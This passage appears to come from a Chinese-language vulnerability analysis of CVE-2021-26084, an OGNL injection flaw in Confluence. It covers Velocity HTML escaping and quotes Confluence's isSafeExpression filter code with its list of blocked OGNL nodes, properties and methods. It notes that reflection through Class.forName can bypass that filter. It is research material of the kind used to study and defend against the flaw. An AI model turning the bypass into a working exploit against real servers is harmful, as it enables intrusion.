  • ConfluenceVelocityTemplateImpl#isAutoEncodeDisabled:根据DisableAntiXssDetectionVisitor#visit方法来决定,如果包含disableAntiXss的指令的话,则返回true,而该velocity指令会引入到绝大部分的vm模板文件中。这也是confluence防止渲染时XSS的措施之一。

综上,会得到ConfluenceHtmlAnnotationEscaper来处理,进一步会调用ConfluenceHtmlAnnotationEscaper#shouldEscape方法判断是否应该$!queryString这个reference的值进行转义,最后会返回true,也就是需要转义,具体原因下面的代码跟一下就好

image-20220516213124826

最后调用HtmlEntities.encode(value.toString())来转义

image-20220516214602536

Bypass isSafeExpression

https://xz.aliyun.com/t/10482#toc-10

在开头部分探索poc的过程中说到,对于Ognl表达式解析,存在过滤,前面说到了Sink点是WebWorkTagSupport#findValue,注意到这里是WebWorkTagSupport,除了#tag标签的许多其他标签,也受到isSafeExpression的影响,但同时,除#tag外的其他标签点也可能会出现OGNL注入。这一部分需要看Velocity模板引擎的语法。

最终会调用到OgnlValueStack.findValue,在这之前,会有一个过滤

image-20220516215225768

具体的过滤内容在com.opensymphony.webwork.util.SafeExpressionUtil类的staic块中

image-20220516215323057

同时调用containsUnsafeExpression来进行判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static boolean containsUnsafeExpression(Node node) {
String nodeClassName = node.getClass().getName();
if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
return true;
} else if ("ognl.ASTProperty".equals(nodeClassName) && UNSAFE_PROPERTY_NAMES.contains(node.toString())) {
return true;
} else if ("ognl.ASTMethod".equals(nodeClassName) && UNSAFE_METHOD_NAMES.contains(node.toString())) {
return true;
} else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
return true;
} else {
for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
Node childNode = node.jjtGetChild(i);
if (childNode != null && containsUnsafeExpression(childNode)) {
return true;
}
}

return false;
}
}

做了如下限制:

  • 限制静态方法、静态属性、构造方法(new不能用)
  • ognl.ASTProperty:class、classLocader。也就是说不能调用xxx.class这样的属性链,其实就是调用xxx.getClass方法(见前面对于ASTProperty)的分析
  • ognl.ASTMethod:getClass()getClassLoader()
  • ognl.ASTVarRef:内置对象,#_memberAccess

所以我们可以使用Class.forName等反射来绕过

参考

漏洞作者的report:https://bugcrowd.com/disclosures/f76873aa-7acc-4f39-b94d-f066317e7c41/rce-on-confluence-data-center-via-ognl-injection

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2021-26084

https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

https://www.anquanke.com/post/id/253398#h3-6

https://xz.aliyun.com/t/10482#toc-10

https://paper.seebug.org/794/#14-actioncontextvaluestack

CATALOG
  1. 1. 前置知识
  2. 2. 环境搭建
  3. 3. CVE-2021-26084 - OGNL注入
    1. 3.1. 发现漏洞点
    2. 3.2. POC
    3. 3.3. API点
    4. 3.4. OGNL注入分析
      1. 3.4.1. com.opensymphony.xwork.DefaultActionInvocation#executeResult
      2. 3.4.2. com.opensymphony.webwork.dispatcher.WebWorkResultSupport#execute
      3. 3.4.3. com.atlassian.confluence.setup.webwork.VelocityResult#doExecute
      4. 3.4.4. org.apache.velocity.runtime.parser.node.SimpleNode#render
    5. 3.5. 几个关键点
      1. 3.5.1. $在velocity模板中的作用
      2. 3.5.2. 为什么$pageTemplate.id不行
      3. 3.5.3. HTML实体转义
    6. 3.6. Bypass isSafeExpression
  4. 4. 参考